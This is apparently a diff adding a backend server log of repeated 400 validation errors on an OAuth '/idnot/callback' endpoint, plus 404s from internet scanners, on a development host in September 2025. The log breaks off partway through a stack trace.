AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' + }, + requestId: 'req_1758619261011_k5vc3z4sm' +} +❌ [ERROR] 2025-09-23T09:21:01.018Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1lOQzl1FMavLpc1tWC7d6jSRn_Pdg4E-sAfsc18zJI8_ywU48FRDD635pPlnCoVWH6xQ44J-X5B_qxiZYIOKJi-4yMOTJLz4g_X94uprPkBaPNvTMK8r8xfmpt9eY2Q8U-wZMYaj3C_y9MaAGpGDgP_sBWWvVqHUTR39Y39umiErrDEGXbcGuI9CPlqRiovj70jfGxlzRooSKEo05jWMO9rG5sH7bM3XD_0rI_6-dd-n2EwoLzN-TIJcRtI5bpuO2cJb7HQ4BQtD5IkrHnbW0ViVfiyGH_GO-xeKjgPCJ3GK3Tq5N90j-4T9gwnvOFJd_4YbEmx7PWj6c-Oz8KFdXUff0O_4VHyN8XMtcqH8Hb8F0LVKGg24nqaKXalh3pyXJ1RthkSAcJVDaRyamMPrKh2VSmp6oJnrnWq6F0gsb9roAOdp-sJIPJzcv0 - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 6, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1l'... 440 more characters, + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' + }, + requestId: 'req_1758619261011_k5vc3z4sm', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T09:23:04.844Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:206.168.34.212', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' + }, + requestId: 'req_1758619384843_ppcevyo70', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T09:23:12.185Z HTTP GET /wiki - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:206.168.34.212', + method: 'GET', + url: '/wiki', + userAgent: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)' + }, + requestId: 'req_1758619392183_w1o34dbi7', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T09:32:18.167Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758619938164_qs0ewn7ch' +} +❌ [ERROR] 2025-09-23T09:32:18.170Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 6, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758619938164_qs0ewn7ch', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T09:39:40.439Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758620380438_bjmnv1dfq' +} +❌ [ERROR] 2025-09-23T09:39:40.440Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758620380438_bjmnv1dfq', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T09:47:21.860Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758620841859_45l4wi9tw' +} +❌ [ERROR] 2025-09-23T09:47:21.861Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758620841859_45l4wi9tw', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T09:55:14.102Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758621314093_eubc945hf' +} +❌ [ERROR] 2025-09-23T09:55:14.114Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 21, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758621314093_eubc945hf', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T10:03:21.267Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758621801266_d82l4casy' +} +❌ [ERROR] 2025-09-23T10:03:21.268Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758621801266_d82l4casy', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T10:06:13.209Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758621973208_2rpszjdao', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-23T10:07:15.151Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758622035149_zko3j1yyu', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '184.105.247.195', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T10:08:49.710Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 (Windows NT 10.0.0; Win64; x64; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.63 Chrome/124.0.6367.63 Not-A.Brand/99 Safari/537.36' + }, + requestId: 'req_1758622129709_iwoeujzyf' +} +❌ [ERROR] 2025-09-23T10:08:49.711Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 (Windows NT 10.0.0; Win64; x64; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.63 Chrome/124.0.6367.63 Not-A.Brand/99 Safari/537.36' + }, + requestId: 'req_1758622129709_iwoeujzyf', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T10:11:43.356Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758622303355_ha2latlx6' +} +❌ [ERROR] 2025-09-23T10:11:43.357Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758622303355_ha2latlx6', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T10:20:18.937Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758622818936_5mp520mhm' +} +❌ [ERROR] 2025-09-23T10:20:18.938Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758622818936_5mp520mhm', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T10:29:08.278Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758623348277_fo7lyzmxk' +} +❌ [ERROR] 2025-09-23T10:29:08.278Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758623348277_fo7lyzmxk', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T10:37:16.893Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:31.14.32.8', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (compatible; ModatScanner/1.1; +https://modat.io/)' + }, + requestId: 'req_1758623836893_ssk8ojeev', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T10:38:13.701Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758623893701_quv2ppq8g' +} +❌ [ERROR] 2025-09-23T10:38:13.702Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758623893701_quv2ppq8g', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T10:47:25.791Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758624445790_yq7eyr2nv' +} +❌ [ERROR] 2025-09-23T10:47:25.792Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758624445790_yq7eyr2nv', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T10:56:50.026Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758625010025_z7mya4ggf' +} +❌ [ERROR] 2025-09-23T10:56:50.027Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758625010025_z7mya4ggf', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T11:06:27.819Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758625587818_26gfoz3ny' +} +❌ [ERROR] 2025-09-23T11:06:27.820Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758625587818_26gfoz3ny', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T11:16:18.874Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758626178873_vv7h1sjel' +} +❌ [ERROR] 2025-09-23T11:16:18.875Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758626178873_vv7h1sjel', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-23T11:24:31.622Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758626671621_st7wk4l65', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T11:26:18.750Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758626778749_gtgooyni3' +} +❌ [ERROR] 2025-09-23T11:26:18.751Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' + }, + requestId: 'req_1758626778749_gtgooyni3', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '4.227.36.107', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-23T11:31:19.818Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at 